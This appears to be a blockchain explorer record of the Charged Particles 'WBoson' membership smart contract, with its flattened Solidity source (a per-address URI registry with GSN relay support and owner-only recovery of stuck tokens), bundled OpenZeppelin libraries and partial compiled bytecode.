[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,465
0x96D7791dA7928F0B35f7848b173f25773C7Cc06f
// SPDX-License-Identifier: MIT // WBoson.sol -- Part of the Charged Particles Protocol // Copyright (c) 2021 Firma Lux, Inc. <https://charged.fi> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/Ownable.sol"; import "../lib/BlackholePrevention.sol"; import "../lib/RelayRecipient.sol"; // Charged Particles Membership contract WBoson is Ownable, RelayRecipient, BlackholePrevention { event WBosonUpdated(address indexed owner, string wBosonURI); event WBosonTransferred(address indexed oldOwner, address indexed newWBoson, string wBosonURI); mapping (address => string) private _wBosonURIs; /***********************************| | Public | |__________________________________*/ function wBosonURI(address wBoson) external view returns (string memory) { return _wBosonURIs[wBoson]; } function setWBosonURI(string calldata uri) external { address wBoson = _msgSender(); _wBosonURIs[wBoson] = uri; emit WBosonUpdated(wBoson, uri); } function transfer(address receiver) external { address sender = _msgSender(); require(bytes(_wBosonURIs[sender]).length > 0, "WBoson:E-422"); _wBosonURIs[receiver] = _wBosonURIs[sender]; delete _wBosonURIs[sender]; emit WBosonTransferred(sender, receiver, _wBosonURIs[receiver]); } /***********************************| | GSN/MetaTx Relay | |__________________________________*/ /// @dev See {BaseRelayRecipient-_msgSender}. function _msgSender() internal view override(BaseRelayRecipient, Context) returns (address payable) { return BaseRelayRecipient._msgSender(); } /// @dev See {BaseRelayRecipient-_msgData}. function _msgData() internal view override(BaseRelayRecipient, Context) returns (bytes memory) { return BaseRelayRecipient._msgData(); } /***********************************| | Only Admin/DAO | | (blackhole prevention) | |__________________________________*/ function setTrustedForwarder(address _trustedForwarder) external onlyOwner { trustedForwarder = _trustedForwarder; } function withdrawEther(address payable receiver, uint256 amount) external onlyOwner { _withdrawEther(receiver, amount); } function withdrawErc20(address payable receiver, address tokenAddress, uint256 amount) external onlyOwner { _withdrawERC20(receiver, tokenAddress, amount); } function withdrawERC721(address payable receiver, address tokenAddress, uint256 tokenId) external onlyOwner { _withdrawERC721(receiver, tokenAddress, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT // BlackholePrevention.sol -- Part of the Charged Particles Protocol // Copyright (c) 2021 Firma Lux, Inc. <https://charged.fi> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. pragma solidity >=0.6.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; /** * @notice Prevents ETH or Tokens from getting stuck in a contract by allowing * the Owner/DAO to pull them out on behalf of a user * This is only meant to contracts that are not expected to hold tokens, but do handle transferring them. */ contract BlackholePrevention { using Address for address payable; using SafeERC20 for IERC20; event WithdrawStuckEther(address indexed receiver, uint256 amount); event WithdrawStuckERC20(address indexed receiver, address indexed tokenAddress, uint256 amount); event WithdrawStuckERC721(address indexed receiver, address indexed tokenAddress, uint256 indexed tokenId); function _withdrawEther(address payable receiver, uint256 amount) internal virtual { require(receiver != address(0x0), "BHP:E-403"); if (address(this).balance >= amount) { receiver.sendValue(amount); emit WithdrawStuckEther(receiver, amount); } } function _withdrawERC20(address payable receiver, address tokenAddress, uint256 amount) internal virtual { require(receiver != address(0x0), "BHP:E-403"); if (IERC20(tokenAddress).balanceOf(address(this)) >= amount) { IERC20(tokenAddress).safeTransfer(receiver, amount); emit WithdrawStuckERC20(receiver, tokenAddress, amount); } } function _withdrawERC721(address payable receiver, address tokenAddress, uint256 tokenId) internal virtual { require(receiver != address(0x0), "BHP:E-403"); if (IERC721(tokenAddress).ownerOf(tokenId) == address(this)) { IERC721(tokenAddress).transferFrom(address(this), receiver, tokenId); emit WithdrawStuckERC721(receiver, tokenAddress, tokenId); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; import "@opengsn/gsn/contracts/BaseRelayRecipient.sol"; contract RelayRecipient is BaseRelayRecipient { function versionRecipient() external override view returns (string memory) { return "1.0.0-beta.1/charged-particles.relay.recipient"; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transfered from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier:MIT // solhint-disable no-inline-assembly pragma solidity ^0.6.2; import "./interfaces/IRelayRecipient.sol"; /** * A base contract to be inherited by any contract that want to receive relayed transactions * A subclass must use "_msgSender()" instead of "msg.sender" */ abstract contract BaseRelayRecipient is IRelayRecipient { /* * Forwarder singleton we accept calls from */ address public trustedForwarder; function isTrustedForwarder(address forwarder) public override view returns(bool) { return forwarder == trustedForwarder; } /** * return the sender of this call. * if the call came through our trusted forwarder, return the original sender. * otherwise, return `msg.sender`. * should be used in the contract anywhere instead of msg.sender */ function _msgSender() internal override virtual view returns (address payable ret) { if (msg.data.length >= 24 && isTrustedForwarder(msg.sender)) { // At this point we know that the sender is a trusted forwarder, // so we trust that the last bytes of msg.data are the verified sender address. // extract sender address from the end of msg.data assembly { ret := shr(96,calldataload(sub(calldatasize(),20))) } } else { return msg.sender; } } /** * return the msg.data of this call. * if the call came through our trusted forwarder, then the real sender was appended as the last 20 bytes * of the msg.data - so this method will strip those 20 bytes off. * otherwise, return `msg.data` * should be used in the contract instead of msg.data, where the difference matters (e.g. when explicitly * signing or hashing the */ function _msgData() internal override virtual view returns (bytes memory ret) { if (msg.data.length >= 24 && isTrustedForwarder(msg.sender)) { // At this point we know that the sender is a trusted forwarder, // we copy the msg.data , except the last 20 bytes (and update the total length) assembly { let ptr := mload(0x40) // copy only size-20 bytes let size := sub(calldatasize(),20) // structure RLP data as <offset> <length> <bytes> mstore(ptr, 0x20) mstore(add(ptr,32), size) calldatacopy(add(ptr,64), 0, size) return(ptr, add(size,64)) } } else { return msg.data; } } } // SPDX-License-Identifier:MIT pragma solidity ^0.6.2; /** * a contract must implement this interface in order to support relayed transaction. * It is better to inherit the BaseRelayRecipient as its implementation. */ abstract contract IRelayRecipient { /** * return if the forwarder is trusted to forward relayed transactions to us. * the forwarder is required to verify the sender's signature, and verify * the call is not a replay. */ function isTrustedForwarder(address forwarder) public virtual view returns(bool); /** * return the sender of this call. * if the call came through our trusted forwarder, then the real sender is appended as the last 20 bytes * of the msg.data. * otherwise, return `msg.sender` * should be used in the contract anywhere instead of msg.sender */ function _msgSender() internal virtual view returns (address payable); /** * return the msg.data of this call. * if the call came through our trusted forwarder, then the real sender was appended as the last 20 bytes * of the msg.data - so this method will strip those 20 bytes off. * otherwise, return `msg.data` * should be used in the contract instead of msg.data, where the difference matters (e.g. when explicitly * signing or hashing the */ function _msgData() internal virtual view returns (bytes memory); function versionRecipient() external virtual view returns (string memory); }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063715018a61161008c578063a27c2ec811610066578063a27c2ec814610185578063ac227d5314610198578063da742228146101ab578063f2fde38b146101be576100cf565b8063715018a6146101605780637da0a877146101685780638da5cb5b1461017d576100cf565b80631593dee1146100d45780631a695230146100e95780634025feb2146100fc578063486ff0cd1461010f578063522f68151461012d578063572b6c0514610140575b600080fd5b6100e76100e2366004610e06565b6101d1565b005b6100e76100f7366004610dc7565b61021f565b6100e761010a366004610e06565b610332565b610117610372565b6040516101249190610fbd565b60405180910390f35b6100e761013b366004610e46565b610393565b61015361014e366004610dc7565b6103d6565b6040516101249190610f83565b6100e76103ea565b610170610469565b6040516101249190610f32565b610170610478565b610117610193366004610dc7565b610487565b6100e76101a6366004610e91565b610530565b6100e76101b9366004610dc7565b6105a9565b6100e76101cc366004610dc7565b610600565b6101d96106e8565b6000546001600160a01b0390811691161461020f5760405162461bcd60e51b815260040161020690611177565b60405180910390fd5b61021a8383836106f7565b505050565b60006102296106e8565b6001600160a01b03811660009081526002602081905260409091205491925060001961010060018416150201909116046102755760405162461bcd60e51b81526004016102069061122d565b6001600160a01b038082166000908152600260208190526040808320938616835290912082546102b79391926000196101006001841615020190911604610c78565b506001600160a01b03811660009081526002602052604081206102d991610cfd565b6001600160a01b0380831660008181526002602052604090819020905191928416917f11358d19e929675d4f46b9f1bf989de7cb37bb50ecadf0f9170e8df3c6c1f32b9161032691610ff0565b60405180910390a35050565b61033a6106e8565b6000546001600160a01b039081169116146103675760405162461bcd60e51b815260040161020690611177565b61021a838383610804565b60606040518060600160405280602e81526020016112ae602e913990505b90565b61039b6106e8565b6000546001600160a01b039081169116146103c85760405162461bcd60e51b815260040161020690611177565b6103d2828261095f565b5050565b6001546001600160a01b0390811691161490565b6103f26106e8565b6000546001600160a01b0390811691161461041f5760405162461bcd60e51b815260040161020690611177565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001546001600160a01b031681565b6000546001600160a01b031690565b6001600160a01b038116600090815260026020818152604092839020805484516001821615610100026000190190911693909304601f810183900483028401830190945283835260609390918301828280156105245780601f106104f957610100808354040283529160200191610524565b820191906000526020600020905b81548152906001019060200180831161050757829003601f168201915b50505050509050919050565b600061053a6106e8565b6001600160a01b0381166000908152600260205260409020909150610560908484610d44565b50806001600160a01b03167fe39aeba6be35f8221d0625efebaec1d67a6de686e4c7c8b1e2d750dc37df68b1848460405161059c929190610f8e565b60405180910390a2505050565b6105b16106e8565b6000546001600160a01b039081169116146105de5760405162461bcd60e51b815260040161020690611177565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6106086106e8565b6000546001600160a01b039081169116146106355760405162461bcd60e51b815260040161020690611177565b6001600160a01b03811661065b5760405162461bcd60e51b81526004016102069061107a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000601836108015906106cd57506106cd336103d6565b156106e1575060131936013560601c610390565b5033610390565b60006106f26106b6565b905090565b6001600160a01b03831661071d5760405162461bcd60e51b8152600401610206906110c0565b6040516370a0823160e01b815281906001600160a01b038416906370a082319061074b903090600401610f32565b60206040518083038186803b15801561076357600080fd5b505afa158015610777573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079b9190610efe565b1061021a576107b46001600160a01b03831684836109e3565b816001600160a01b0316836001600160a01b03167f6c9d637297625e945b296ff73a71fcfbd0a9e062652b6491a921c4c60194176b836040516107f79190611253565b60405180910390a3505050565b6001600160a01b03831661082a5760405162461bcd60e51b8152600401610206906110c0565b6040516331a9108f60e11b815230906001600160a01b0384169063635